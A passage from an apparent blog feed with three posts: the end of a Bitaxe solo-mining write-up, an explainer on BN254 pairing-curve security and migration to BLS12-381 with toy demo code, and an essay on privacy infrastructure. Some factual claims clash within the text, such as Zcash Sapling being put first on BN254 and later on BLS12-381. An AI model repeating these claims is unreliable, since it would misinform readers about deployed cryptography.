<p>A <em>rack of S19 XPs</em> — what I worked with at Foundry — is 90+ dB and audible from the next building. You don&#39;t put those in a home. You put those in a converted natural-gas plant in West Texas with chillers and earplugs.</p>
<p>The Bitaxe-on-the-desk solo-mining experience is <em>fundamentally different</em> from industrial mining. It&#39;s the difference between owning a model train and working at Union Pacific.</p>
<h2>What this is for</h2>
<p>The chain doesn&#39;t need this hardware to function. The pool/Bitaxe rig is there because:</p>
<ol>
<li><strong>Bootstrap difficulty.</strong> Without a baseline of hashrate, the chain&#39;s difficulty drops to the floor and you get blocks every few seconds, which is bad for finality. The Bitaxe holds difficulty at a reasonable level.</li>
<li><strong>Live testnet activity.</strong> Every block I mine is a real block with real ZK proof verification, real witness-v2 binding, real SMT root commitment. It exercises the entire stack continuously.</li>
<li><strong>The story.</strong> &quot;We forked Bitcoin and we&#39;re solo-mining it on a Bitaxe&quot; is a sentence that makes other engineers lean in at conferences. The chain is real because it&#39;s <em>physically real</em> on hardware you can buy on Tindie.</li>
</ol>
<p>When the chain has more participants than my desk, the Bitaxe stays — but it stops being load-bearing. That&#39;s the goal.</p>
<h2>What I would do differently</h2>
<p>Three things, all small:</p>
<ol>
<li><strong>Ship a CPU miner alongside the Stratum server.</strong> The Bitaxe is delightful but it&#39;s not a <em>requirement</em>. A CPU miner that does 10 MH/s on a laptop is plenty for testnet. I should have shipped that in week one. It&#39;s a 200-line Rust program; I&#39;ll write it.</li>
<li><strong>Per-miner difficulty in Stratum.</strong> Right now every Bitaxe gets the network difficulty as the share difficulty, which is fine for solo mining but inflates the share-rejection rate. A vardiff implementation would smooth out the metrics. Low priority since the operational consequence is zero.</li>
<li><strong>Better UI for &quot;blocks I mined.&quot;</strong> I currently grep <code>vantad</code>&#39;s logs. The web wallet should have a &quot;blocks mined&quot; tab that pulls coinbase transactions where the recipient is a wallet-owned address. Two-day project, on the list.</li>
</ol>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/vanta/tree/main/pool"><code>Dax911/vanta/pool/</code></a> — the Stratum server source</li>
<li><a href="https://github.com/skot/bitaxe"><code>skot/bitaxe</code></a> — Bitaxe open-hardware reference</li>
<li><a href="https://github.com/Dax911/vanta"><code>Dax911/vanta</code></a> — the chain itself</li>
<li><a href="/blog/vanta_zk_privacy_l1/">Vanta: a Bitcoin fork with ZK at consensus</a> — what&#39;s actually in the chain</li>
<li><a href="/blog/vanta_l1_nullifier_set/">L1 nullifier sets: enforcing no-double-spend at consensus</a> — sister post on the proof-binding side</li>
<li><a href="/blog/what_running_a_bitcoin_mine_taught_me/">What running a Bitcoin mine taught me about cloud margins</a> — the Foundry chapter</li>
<li>Stratum v1 protocol reference at <a href="https://reference.cash/protocol/network/stratum">reference.cash</a></li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Why BN254, and when to switch off it]]></title>
  <id>https://blog.skill-issue.dev/blog/why_bn254_and_when_to_switch/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/why_bn254_and_when_to_switch/"/>
  <published>2026-04-15T17:00:00.000Z</published>
  <updated>2026-04-15T17:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="cryptography"/>
  <category term="bn254"/>
  <category term="bls12-381"/>
  <category term="pairings"/>
  <category term="zk"/>
  <category term="phd"/>
  <category term="math"/>
  <summary type="html"><![CDATA[BN254 is the default curve for production ZK in 2026. The 128-bit security claim is no longer 128 bits, and BLS12-381 is gaining ground. Here is the math, the deployment reality, and the migration path.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, Sandbox, TradeoffTable, Aside, Quote, RustPlayground } from &quot;@/components/mdx&quot;;</p>
<p>Every production ZK system you can name in 2026 — Zcash Sapling, Aleo, Mina, Filecoin&#39;s PoRep, Solana&#39;s <code>alt_bn128_*</code> syscalls, the Ethereum precompile at <code>0x06</code>/<code>0x07</code>/<code>0x08</code>, <a href="/blog/zera_sdk_scaffolding/">zera-sdk</a> — runs Groth16 over the same curve. <strong>BN254</strong>. A Barreto–Naehrig curve with a 254-bit base field, embedding degree 12, and a pairing that has been the default in pairing-based cryptography for nearly two decades.</p>
<p>It is also the curve that has lost the most bits of advertised security in the last ten years.</p>
<p>This post is the long answer to two questions that come up in every cryptography review I run with a serious team: <em>why is BN254 still the default in 2026</em>, and <em>when do we get off it</em>.</p>
<Aside kind="note">
This is a working post in my [PhD-by-publication track](/about). The arithmetic is checked against [Barbulescu and Duquesne (2019)](https://eprint.iacr.org/2017/334) for the security level estimates and the [IETF CFRG pairing-friendly curves draft](https://datatracker.ietf.org/doc/draft-irtf-cfrg-pairing-friendly-curves/) for the standardisation status.
</Aside>

<h2>The minimum cryptography you need</h2>
<p>A pairing is a bilinear map</p>
<p>$$
e : \mathbb{G}_1 \times \mathbb{G}_2 \to \mathbb{G}_T
$$</p>
<p>with $\mathbb{G}_1, \mathbb{G}_2$ cyclic groups of prime order $r$ on an elliptic curve $E$, and $\mathbb{G}<em>T$ a multiplicative subgroup of an extension field $\mathbb{F}</em>{p^k}$. <em>Bilinear</em> means</p>
<p>$$
e(a P, b Q) = e(P, Q)^{ab}
$$</p>
<p>for any $a, b \in \mathbb{Z}_r$ and generators $P, Q$. That single equation is the entire reason pairing-based cryptography exists — it lets you &quot;multiply in the exponent&quot; across two different groups, which is exactly what Groth16&#39;s verification equation needs.</p>
<p>Two parameters drive everything. <strong>The embedding degree $k$</strong> is the smallest integer with $r \mid p^k - 1$; it sets the size of the target field $\mathbb{F}_{p^k}$. <strong>The base field characteristic $p$</strong> sets the cost of every operation in $\mathbb{G}_1$. The security of the pairing rests on:</p>
<ul>
<li>The discrete log problem (DLP) in $\mathbb{G}_1$ and $\mathbb{G}_2$ — protected by Pollard&#39;s rho, cost $\sqrt{r}$, so we want $r \approx 2^{256}$ for 128-bit security.</li>
<li>The DLP in $\mathbb{F}_{p^k}^*$ — protected by the <strong>number field sieve</strong>, cost subexponential in $p^k$, so we want $p^k$ large enough that NFS is no easier than $\sqrt{r}$.</li>
</ul>
<p>The trick of pairing-friendly curve design is to find $(p, r, k)$ where both DLPs are hard <em>and</em> $p$ is small enough that field operations don&#39;t dominate. BN curves use the parameterisation</p>
<p>$$
p(t) = 36 t^4 + 36 t^3 + 24 t^2 + 6 t + 1,
$$
$$
r(t) = 36 t^4 + 36 t^3 + 18 t^2 + 6 t + 1,
$$</p>
<p>with $E: y^2 = x^3 + 3$ defined over $\mathbb{F}_p$ and embedding degree $k = 12$. Pick $t$ such that $p$ and $r$ are both prime, and you get a curve. BN254 is the choice $t = 4965661367192848881$ — an integer carefully chosen so $p$ has 254 bits and $r$ has 254 bits, and so the resulting field arithmetic is reasonably efficient.</p>
<h2>Where the 128 bits went</h2>
<p>When BN254 was deployed in 2010-2015, the security argument was: $p^{12} \approx 2^{3048}$, the NFS algorithm at the time required $\approx 2^{128}$ field operations to break the DLP in $\mathbb{F}_{p^{12}}^*$, and Pollard&#39;s rho on $\mathbb{G}_1$ required $\approx 2^{127}$. Both legs landed at 128-bit security. Done.</p>
<p>Then <a href="https://eprint.iacr.org/2015/1027">Kim and Barbulescu (2016)</a> introduced <strong>exTNFS</strong>, an extended Tower NFS variant that exploits the structure of $\mathbb{F}_{p^k}$ when $k$ has a non-trivial factorisation (which $k = 12 = 4 \cdot 3$ does). The complexity of NFS dropped, and the <a href="https://eprint.iacr.org/2017/334">Barbulescu-Duquesne (2019) update</a> re-estimated the security of BN254 at <strong>roughly 100-110 bits</strong> — depending on which constant in the NFS asymptotic you trust.</p>
<p>That is the gap. The curve is not broken. The pairing still works. But &quot;BN254 = 128-bit security&quot; was the marketing line, and after 2016 it should have been &quot;BN254 ≈ 100 bits.&quot;</p>
<p>The honest table:</p>
<p>&lt;TradeoffTable
  rows={[
    {
      option: &quot;BN254&quot;,
      cost: &quot;<del>254-bit base field; cheapest pairing in production&quot;,
      latency: &quot;Best verifier perf; ~3ms Groth16 verify on Solana&quot;,
      blast_radius: &quot;</del>100-110 bits actual security after exTNFS&quot;,
      notes: &quot;Default in Ethereum precompile, Solana, Zcash Sprout, zera-sdk. Fine for 2026; not a forever choice.&quot;
    },
    {
      option: &quot;BLS12-381&quot;,
      cost: &quot;<del>381-bit base field; ~50% slower pairings&quot;,
      latency: &quot;Verifier ~5-7ms typical&quot;,
      blast_radius: &quot;</del>120-126 bits actual security&quot;,
      notes: &quot;Ethereum 2.0 BLS signatures, Zcash Sapling, Filecoin. The realistic upgrade target.&quot;
    },
    {
      option: &quot;BLS12-446&quot;,
      cost: &quot;<del>446-bit base field; ~80% slower than BN254&quot;,
      latency: &quot;Verifier ~7-9ms&quot;,
      blast_radius: &quot;</del>128 bits with margin&quot;,
      notes: &quot;Theoretically clean 128-bit choice; minimal deployment as of 2026.&quot;
    },
    {
      option: &quot;BLS24-509&quot;,
      cost: &quot;Larger base, embedding degree 24, very fast G_T arithmetic&quot;,
      latency: &quot;Verifier <del>6-8ms&quot;,
      blast_radius: &quot;</del>128 bits, more conservative NFS margin&quot;,
      notes: &quot;Niche; competes with BLS12-381 on perf, more on paper than in production.&quot;
    },
    {
      option: &quot;Post-quantum (lattice / hash / code)&quot;,
      cost: &quot;No pairings; structurally different&quot;,
      latency: &quot;STARK-style verification, larger proofs&quot;,
      blast_radius: &quot;Quantum-secure (still active research)&quot;,
      notes: &quot;When pairing-based cryptography retires, this is what replaces it. Not 2026, probably 2030+.&quot;
    },
  ]}
/&gt;</p>
<p>The blast-radius column is the load-bearing one. <strong>BN254 is not broken in 2026.</strong> A 100-bit security level still costs an attacker $\sim 2^{100}$ field operations, which is not within the budget of any actor we model. But it is also not a curve you start a fresh decade-long deployment on.</p>
<h2>The migration hierarchy</h2>
<p>The pairing-friendly curve landscape, drawn as a hierarchy of &quot;what would I deploy next&quot;:</p>
<p>&lt;Mermaid chart={<code>flowchart TD   BN254[BN254 — current default, ~100-110 bit security after exTNFS] --&gt; BLS381[BLS12-381 — ~120-126 bit, Ethereum/Filecoin/Sapling]   BLS381 --&gt; BLS446[BLS12-446 — clean ~128 bit with margin]   BLS381 --&gt; BLS24[BLS24-509 — embedding degree 24, niche]   BLS446 --&gt; PQ[Post-quantum candidates: lattice (Falcon/Dilithium), STARK-based]   BLS24 --&gt; PQ   BN254 -.-&gt; PQ   classDef now fill:#1a1a1a,stroke:#4ade80,color:#4ade80   classDef next fill:#1a1a1a,stroke:#a3a3a3,color:#e8e8e8   classDef long fill:#1a1a1a,stroke:#737373,color:#a3a3a3   class BN254 now   class BLS381,BLS446,BLS24 next   class PQ long</code>}/&gt;</p>
<p>The bottom row is what kills pairing-based cryptography eventually. Shor&#39;s algorithm runs in polynomial time on a sufficiently large quantum computer, the discrete log breaks, and every curve in the diagram above goes to zero overnight. The realistic time horizon for that is <em>not 2026</em> — the largest credible quantum factorisation as of last year is still toy-scale — but it is the reason you build a hash function migration story into your protocol from day one. We did this in <a href="/blog/zera_sdk_scaffolding/">zera-sdk</a> by isolating the curve choice to a single <code>crates/zera-sdk-core/src/curve.rs</code> module. A future migration to BLS12-381 is one type alias and a regenerated <code>.zkey</code>. A migration to a lattice-based scheme is a bigger lift but the seam is clean.</p>
<h2>Why the IETF still hasn&#39;t picked one</h2>
<p>The IETF CFRG has been running a pairing-friendly curves working group since 2018. As of <a href="https://datatracker.ietf.org/doc/draft-irtf-cfrg-pairing-friendly-curves/">draft 11</a>, the recommendation lists <strong>BLS12-381 and BN462</strong> as the two curves with 128-bit security after exTNFS. BN254 is explicitly <em>not</em> recommended for new deployments — the draft notes:</p>
<Quote cite="https://datatracker.ietf.org/doc/draft-irtf-cfrg-pairing-friendly-curves/" author="IETF CFRG, pairing-friendly-curves draft">
The BN curves with smaller parameters such as BN254 should not be used for applications requiring 128-bit security level due to the recent improvements of the number field sieve algorithm. Implementations targeting the 128-bit security level SHOULD use BLS12-381 or BN462.
</Quote>

<p>The reason BN254 is still the production default in 2026 despite this is one part path-dependence (the Ethereum precompile is BN254 and rewriting that is a hard fork) and one part cost (BLS12-381 is roughly 50% slower per pairing and 50% larger per group element). For a privacy pool that is already paying tens of milliseconds per proof, the trade-off is real.</p>
<p>The clean argument: BN254 today, BLS12-381 next, lattice-based when the quantum threat becomes credible. That ordering is what every serious protocol designer I&#39;ve talked to in the last year converges on.</p>
<h2>Pairing arithmetic, by hand</h2>
<p>The pairing itself is a Miller-loop algorithm followed by a final exponentiation. It is unreasonable to derive in a blog post — go read <a href="https://eprint.iacr.org/2007/077">Barreto, Galbraith, Ó hÉigeartaigh, Scott (2007)</a> for the optimal-Ate construction — but the <em>bilinearity check</em> is one line and worth seeing:</p>
<p>$$
e([a]P, [b]Q) = e(P, Q)^{ab}
$$</p>
<p>The toy below verifies this property over a tiny pairing-friendly toy curve. It uses a synthetic group and a synthetic pairing — <em>not</em> BN254, because computing a real BN254 pairing in 60 lines of TypeScript is not honest pedagogy. The shape of the relations is real. The numbers are not.</p>
<p>&lt;Sandbox
  template=&quot;vanilla-ts&quot;
  files={{
    &quot;/index.ts&quot;: `// Toy &quot;pairing&quot; demonstration over a tiny modular group.
// This is NOT a real pairing — there is no curve here, no Miller loop,
// no final exponentiation. It demonstrates the algebraic SHAPE of
// bilinearity: e(aP, bQ) == e(P, Q)^{ab}.
//
// For real BN254 / BLS12-381 pairings, use arkworks or blst.</p>
<p>const Q = (1n &lt;&lt; 31n) - 1n; // small Mersenne prime
const G = 7n;               // a generator of the multiplicative group
const ORD = Q - 1n;         // group order = Q-1 since Q prime</p>
<p>function modpow(a: bigint, e: bigint, m: bigint): bigint {
  let r = 1n, base = a % m, exp = e;
  while (exp &gt; 0n) {
    if (exp &amp; 1n) r = (r * base) % m;
    base = (base * base) % m;
    exp &gt;&gt;= 1n;
  }
  return r;
}</p>
<p>// &quot;G_1&quot; and &quot;G_2&quot; are both the same multiplicative group here for the
// demo. In real pairing curves they&#39;re DIFFERENT EC subgroups.
function scalarMul(P: bigint, k: bigint): bigint {
  return modpow(P, k, Q);
}</p>
<p>// &quot;Pairing&quot;: e(P, Q) = (P^Q) -- not real, just a synthetic bilinear map.
// Real pairings are far more involved; this is the algebra.
function pair(P: bigint, R: bigint): bigint {
  // We model e(g^a, g^b) = g^{ab} by pairing exponents.
  // Recover a, b via baby-step (only feasible because Q is tiny).
  const a = babyStepGiantStep(P);
  const b = babyStepGiantStep(R);
  return modpow(G, (a * b) % ORD, Q);
}</p>
<p>function babyStepGiantStep(target: bigint): bigint {
  // tiny demo helper — fine for Q ~ 2^31.
  const m = 1n &lt;&lt; 16n;
  const table = new Map&lt;string, bigint&gt;();
  let cur = 1n;
  for (let j = 0n; j &lt; m; j++) { table.set(cur.toString(), j); cur = (cur * G) % Q; }
  const factor = modpow(modpow(G, m, Q), ORD - 1n, Q); // G^{-m}
  let gamma = target;
  for (let i = 0n; i &lt; m; i++) {
    const hit = table.get(gamma.toString());
    if (hit !== undefined) return (i * m + hit) % ORD;
    gamma = (gamma * factor) % Q;
  }
  throw new Error(&quot;no log&quot;);
}</p>
<p>(async () =&gt; {
  const out = document.getElementById(&quot;out&quot;)!;
  const lines: string[] = [];</p>
<p>  const a = 17n, b = 23n;
  const P = scalarMul(G, a);
  const R = scalarMul(G, b);</p>
<p>  // Direct: e(P, R)
  const direct = pair(P, R);
  // Bilinear factor: e(G, G)^{ab}
  const eGG = pair(G, G);
  const expected = modpow(eGG, (a * b) % ORD, Q);</p>
<p>  lines.push(`a = ${a}, b = ${b}`);
  lines.push(`P = G^a = ${P}`);
  lines.push(`R = G^b = ${R}`);
  lines.push(`e(P, R)         = ${direct}`);
  lines.push(`e(G, G)^{ab}    = ${expected}`);
  lines.push(`bilinear holds: ${direct === expected}`);</p>
<p>  // Try with mismatched scalars to confirm the structure.
  const P2 = scalarMul(G, 5n);
  const R2 = scalarMul(G, 11n);
  lines.push(&quot;&quot;);
  lines.push(`e(G^5, G^11)    = ${pair(P2, R2)}`);
  lines.push(`e(G, G)^{55}    = ${modpow(eGG, 55n, Q)}`);</p>
<p>  out.textContent = lines.join(&quot;\n&quot;);
})();
<code>,     &quot;/index.html&quot;: </code><!DOCTYPE html></p>
<html>
  <body>
    <pre id="out" style="font-family: 'Geist Mono', ui-monospace, monospace; padding: 1rem; background: #0a0a0a; color: #4ade80; line-height: 1.6;">running...</pre>
    <script type="module" src="/index.ts"></script>
  </body>
</html>`,
  }}
/>

<p>The Rust shape of a real pairing — using <a href="https://github.com/arkworks-rs">arkworks</a> — is much closer to a one-liner once the curve is in scope:</p>
<RustPlayground edition="2024" title="bilinearity (skeleton)">
{`// Skeleton showing how arkworks expresses bilinearity. Won't compile here
// without the ark-bn254 / ark-ec deps; this is the SHAPE of the production
// code in zera-sdk-core/src/pairing.rs.

<p>// use ark_bn254::{Bn254, Fr, G1Affine, G2Affine};
// use ark_ec::{pairing::Pairing, PrimeGroup};</p>
<p>fn main() {
    // let g1 = G1Affine::generator();
    // let g2 = G2Affine::generator();
    // let a = Fr::from(17u64);
    // let b = Fr::from(23u64);
    //
    // let p1 = (g1 * a).into();
    // let q1 = (g2 * b).into();
    //
    // let lhs = Bn254::pairing(p1, q1);
    // let rhs = Bn254::pairing(g1, g2).pow(&amp;[(a * b).into_bigint().0[0]]);
    //
    // assert_eq!(lhs, rhs); // bilinearity
    //
    // The whole Groth16 verifier reduces to a constant number of these
    // pairings — three for Groth16, plus a multi-pairing-product check.
    println!(&quot;see crates/zera-sdk-core/src/pairing.rs for the real code&quot;);
}
`}
</RustPlayground></p>
<p>The real implementation lives in <a href="https://github.com/arkworks-rs/algebra">arkworks-rs/algebra</a> and <a href="https://github.com/supranational/blst">supranational/blst</a>. The latter is what production Ethereum and Solana ZK code links against — <code>blst</code> is the BLS12-381 pairing library written by Pierre-Yves Strub and Sergey Vasilyev, audited, and with constant-time multi-scalar multiplication that beats anything else in the open source.</p>
<h2>What changes if we move to BLS12-381</h2>
<p>The migration cost is not the curve. The migration cost is everything that touches the curve.</p>
<ol>
<li><strong>Re-run the trusted setup.</strong> Groth16 needs a per-circuit setup. Migrating to BLS12-381 means a fresh ceremony for every circuit. That is non-trivial — a Powers-of-Tau ceremony runs for months — but it is also not blocked on cryptography.</li>
<li><strong>Regenerate the verifying keys.</strong> Every on-chain verifier ships a verifying key (a few KB of curve points). Those have to be regenerated and re-deployed. On Solana, that&#39;s a program upgrade. On Ethereum, that&#39;s a fresh contract deploy.</li>
<li><strong>Update every prover.</strong> snarkjs, rapidsnark, the Rust prover in <a href="https://github.com/Dax911/zera-sdk">zera-sdk-core</a> — all of them. The <code>ff</code> and <code>pairing</code> crate ecosystem in Rust is curve-generic, so this is an <code>ark-bn254</code> → <code>ark-bls12-381</code> swap and a recompile. The TypeScript side is harder because circomlibjs is BN254-pinned in places.</li>
<li><strong>Eat the verifier-cost hit.</strong> A BLS12-381 pairing is roughly 50% more expensive than BN254. On Solana that&#39;s 1500 extra compute units per pairing-based verification. Multiplied by the four pairings in a typical multi-input transfer proof, that&#39;s 6000 CUs — meaningful but absorbable.</li>
</ol>
<p>We&#39;ve scoped this work for <a href="/blog/zera_sdk_scaffolding/">zera-sdk</a> v2 but not yet committed to a date. The bet is: BN254 carries us through 2027 deployments comfortably, and the BLS12-381 migration is a clean lift the moment the broader Solana ecosystem standardises on it (the <code>alt_bls12_381_*</code> syscalls have been in cargo-audit feature flags since 2025).</p>
<Aside kind="warn">
"Re-run the trusted setup" sounds simple. It is not. A circuit-specific ceremony for a non-trivial circuit (transfer with two inputs, two outputs, range checks, Merkle paths) takes months to coordinate, and a botched ceremony silently inserts a backdoor. This is the part that keeps me from rushing the migration.
</Aside>

<h2>Where this lands in the stack</h2>
<p>In <code>crates/zera-sdk-core/src/curve.rs</code> the curve is a single type alias:</p>
<pre><code class="language-rust">// Currently:
pub type Curve = ark_bn254::Bn254;
pub type Fr = ark_bn254::Fr;
pub type G1 = ark_bn254::G1Affine;
pub type G2 = ark_bn254::G2Affine;

// Future:
// pub type Curve = ark_bls12_381::Bls12_381;
// pub type Fr = ark_bls12_381::Fr;
// ...etc
</code></pre>
<p>The whole SDK reads from <code>Curve</code>, <code>Fr</code>, <code>G1</code>, <code>G2</code>. The migration is a four-line swap and a re-ceremony. The cleanliness is on purpose — see <a href="/blog/zera_sdk_scaffolding/">Building the Zera SDK: Day One</a> for why we boxed the curve choice the way we did.</p>
<p>What I tell people who ask &quot;should I deploy on BN254 or BLS12-381?&quot;: deploy on BN254 if you need to compose with the Ethereum precompile or the Solana <code>alt_bn128_*</code> syscall <em>today</em>, deploy on BLS12-381 if you don&#39;t and you want the security headroom. The math is the math. The deployment surface is what makes the call.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://eprint.iacr.org/2017/334">Updating Key Size Estimations for Pairings</a> — Barbulescu, Duquesne (Journal of Cryptology 2019) — the post-exTNFS security recompute.</li>
<li><a href="https://eprint.iacr.org/2015/1027">Extended Tower Number Field Sieve: A New Complexity for the Medium Prime Case</a> — Kim, Barbulescu (CRYPTO 2016) — the attack that dropped BN254&#39;s security.</li>
<li><a href="https://datatracker.ietf.org/doc/draft-irtf-cfrg-pairing-friendly-curves/">Pairing-Friendly Curves (IETF CFRG draft)</a> — the standardisation path.</li>
<li><a href="https://hackmd.io/@benjaminion/bls12-381">BLS12-381 For The Rest Of Us</a> — Ben Edgington&#39;s accessible explainer.</li>
<li><a href="https://github.com/arkworks-rs/algebra">arkworks-rs/algebra</a> — the curve-generic Rust implementation we use.</li>
<li><a href="https://github.com/supranational/blst">supranational/blst</a> — the production BLS12-381 library.</li>
<li><a href="/blog/pedersen_commitments_in_production/">Pedersen commitments, in production</a> — the sister piece on what we commit <em>with</em>.</li>
<li><a href="/blog/poseidon_by_hand_and_by_code/">Poseidon, by hand and by code</a> — the hash that lives inside circuits over the same curve.</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Privacy's broadband moment]]></title>
  <id>https://blog.skill-issue.dev/blog/privacys_broadband_moment/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/privacys_broadband_moment/"/>
  <published>2026-04-15T08:00:00.000Z</published>
  <updated>2026-04-15T08:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="zera"/>
  <category term="zk"/>
  <category term="cryptography"/>
  <category term="strategy"/>
  <category term="founders"/>
  <summary type="html"><![CDATA[ZK got fast, hardware got attestable, AI agents started carrying their own wallets, and regulators stopped trying to ban math. Four curves crossed and privacy stopped being a research topic — it became infrastructure.]]></summary>
  <content type="html"><![CDATA[<p>There is a phrase we keep using internally at <a href="https://zeralabs.org">Zera Labs</a>: <em>privacy&#39;s broadband moment.</em> It started as a slide-deck line, the kind of thing you put in front of an investor to explain why a fifteen-year-old idea is suddenly a 2026 product. After a year of saying it I realised it is also the most precise description I have for what is actually happening in the cryptography stack right now.</p>
<p>Broadband did not arrive because someone invented broadband. It arrived because <strong>four unrelated curves crossed at the same time</strong>: fibre got cheap, video codecs got good, last-mile rights-of-way got resolved, and people stopped thinking of &quot;the internet&quot; as a separate thing they used at a desk. None of those four was sufficient. All four together were inevitable.</p>
<p>Zero-knowledge cryptography is having the same moment. I want to lay out the four curves I see, one at a time, and then say what we are doing about it.</p>
<h2>Curve 1 — proof systems finally got fast</h2>
<p>For most of the last decade, &quot;fast ZK&quot; meant Groth16 over BN254 with a trusted setup and proving times measured in seconds for circuits that did anything useful. That was good enough for academic papers and bad enough for products. People shipped in spite of it. Tornado Cash circuits took four-plus seconds to prove on a laptop in 2020. That is not a consumer experience; that is a research demo.</p>
<p>The thing that actually changed in 2024 and 2025 is the boring thing: <strong>hash-friendly arithmetisation went mainstream.</strong> Poseidon (and the Poseidon-2 successor) went from a &quot;cool paper at SAC 2019&quot; to the default ZK-friendly hash inside almost every modern proof system. Once you have a hash that costs ~250 constraints per permutation instead of the ~24,000 that SHA-256 takes inside a SNARK, the entire calculus of &quot;what circuits are practical to prove on a phone&quot; inverts.</p>
<p>The <a href="https://github.com/Dax911/zera-sdk"><code>zera-sdk</code> Rust core</a> ships Poseidon as the only commitment hash. We did not invent that decision; we inherited it. Every serious privacy pool in 2026 made the same call. The reason ZERA can talk about <em>unified</em> shielding — one pool that holds USDC and USDT and SOL and <code>$ZERA</code> and a dozen other tokens at once — is that the per-note proof cost finally dropped below the threshold where wallet UX would tolerate it.</p>
<p>I wrote about how this looks at the metal level in <a href="/blog/pedersen_commitments_in_production/">Pedersen commitments, in production</a> and <a href="/blog/nullifiers_without_witchcraft/">Nullifiers without the witchcraft</a>. Short version: the production implementation is six lines of code per primitive, and the line of code that made it six lines instead of six hundred is the choice of Poseidon.</p>
<h2>Curve 2 — hardware attestation stopped being theatre</h2>
<p>The second curve is the one nobody likes to talk about because it sounds like 2014 trusted-execution marketing. But it is real now in a way that it was not.</p>
<p>Apple&#39;s Secure Enclave shipped in 2013. For a decade it was a place you stored your fingerprint hash and your Apple Pay tokens. In 2026 it is a place you can ship cryptographic primitives that the OS itself cannot read or steal, <em>with attested provenance.</em> Pixel devices have Titan M2. Modern AMD chips have SEV-SNP. ARM TrustZone is everywhere. The attestation chains are documented, the developer APIs are stable enough to build against, and — critically — the <em>threat model</em> for what a TEE actually buys you stopped being aspirational.</p>
<p>This matters for the <a href="https://zeralabs.org/#features">True Offline Payments</a> pillar of ZERA in a way that is hard to overstate. &quot;Offline P2P payments&quot; without a hardware trust anchor is a euphemism for &quot;double-spend forever.&quot; With one, it is a sequence-numbered key-attested signature over a note that the rest of the network can verify when they reconcile. The cryptography is the easy part. The cryptography has been ready for a long time. What was not ready until very recently was the assumption that the user has a real TEE in their pocket and that we can tell whether they do.</p>
<p><a href="/blog/what_running_a_bitcoin_mine_taught_me/">Foundry Digital taught me to think like an operator</a> — the hardware <em>is</em> the system. ZERA Hardware exists for the same reason mining ASICs exist: when the math is fixed and the silicon is differentiated, infrastructure is where the next decade of value lands.</p>
<h2>Curve 3 — AI agents grew wallets</h2>
<p>The third curve is the one I genuinely did not see coming until late 2025.</p>
<p>Coinbase shipped <a href="https://www.coinbase.com/developer-platform/discover/protocols/x402">x402</a> — a stablecoin-payment protocol over HTTP — and the AI agent ecosystem absorbed it within a quarter. Anthropic&#39;s MCP standard went from &quot;interesting Anthropic side project&quot; to &quot;ten thousand public servers, ninety-seven million SDK downloads a month&quot; in the same window. Two things that should not have collided collided: <strong>autonomous AI agents now carry their own wallets</strong>, and the protocols they use to pay each other are running on stablecoin rails.</p>
<p>The implication for privacy is not subtle. An autonomous agent that buys a search result for <code>0.001 USDC</code> is making a transaction that — under any current rail — is permanently legible to anyone watching the chain. If your agent buys ten thousand search results across an afternoon while it does research for you, the sum of those transactions is a <em>behavioural signature</em> of you. Not your agent. <em>You.</em> Because the agent is acting on your instructions.</p>
<p>This is the use-case that turned privacy from &quot;a thing crypto people argue about on Twitter&quot; into &quot;a thing every AI platform team will be procuring by Q4.&quot; There is no version of an autonomous-agent economy that is also a transparent-by-default payments graph. Either agents acquire privacy primitives, or agents stop being economically rational to operate at scale. We are betting that the first thing happens.</p>
<p>I wrote the threat-model framing for this earlier in the year — see the post on the <a href="/blog/x402_honeypot_disclosure/">x402 honeypot research artifact</a> for why this is a 2026 problem and not a 2028 one.</p>
<h2>Curve 4 — the regulatory weather changed</h2>
<p>I do not love writing about regulation. I will keep this short.</p>
<p>For most of the last decade, &quot;we are building privacy infrastructure&quot; was a sentence you said at a developer conference in Berlin and not at a meeting at the SEC. The Tornado Cash sanctions in 2022, the chilling effect on Nym and Aztec, the post-FTX legislative panic — all of it pushed serious privacy work either offshore or underground.</p>
<p>Two things shifted that. First, the <a href="https://www.fifthcircuit.gov/">district court ruling overturning the Tornado Cash sanctions</a> in late 2024 re-established that <em>immutable code is not a sanctioned entity</em>. Second, the broader 2025-2026 stablecoin clarity work in the US, EU MiCA implementation, and the Hong Kong VASP regime made it possible for compliant venues to handle privacy assets the way they handle any other asset class — with KYC at the edges and pseudonymity in the middle.</p>
<p>ZERA is built <strong>token-agnostic, chain-agnostic, and compliance-aware.</strong> The pool holds USDC. USDC has a freeze function. We do not pretend it does not. The interesting design question stops being &quot;how do we build a system that defies the regulator&quot; and becomes &quot;how do we build a system the regulator can verify <em>without</em> the regulator becoming a panopticon.&quot; The answer to that question is zero-knowledge. The reason the answer is finally usable is that curves one through three made it cheap.</p>
<h2>What we are doing about it</h2>
<p>Four curves crossing is necessary but not sufficient. Someone has to actually ship the thing.</p>
<p>That is what Zera Labs is for. Concretely:</p>
<ul>
<li><strong>One unified shielded pool</strong> instead of one per asset class. The pool is built on Solana for the <a href="/blog/zeraswap_compressed_amm/">account-compression-driven cost model</a> — Light Protocol&#39;s compressed accounts let us amortise the per-note state cost down to something that works at consumer-payment scale.</li>
<li><strong>A wallet that does not assume you are sitting at a desk.</strong> <a href="https://wallet.zeralabs.org">Zera Wallet</a> targets desktop, iOS, and Android <em>with the same primitives</em> — the offline-P2P story is real and is the reason we keep saying &quot;digital cash&quot; instead of &quot;private DeFi.&quot;</li>
<li><strong>An SDK with an MCP server in the box.</strong> Every modern privacy primitive should be callable by an AI agent under a verifiable policy. We made that the default rather than the afterthought. See <a href="/blog/zera_sdk_scaffolding/">Building the Zera SDK: Day One</a>.</li>
<li><strong>A research line that publishes.</strong> I am doing a <a href="/about">PhD by publication</a> in zero-knowledge proof systems while running the company. Every paper has a corresponding production component. Every production component has a paper that would not embarrass me in a peer-review queue.</li>
</ul>
<h2>The thing I keep telling people</h2>
<p>You can be early to the right idea by a decade and watch the wave roll in without you. The question is never &quot;is this the future?&quot; The question is &quot;did the four curves cross <em>yet</em>?&quot;</p>
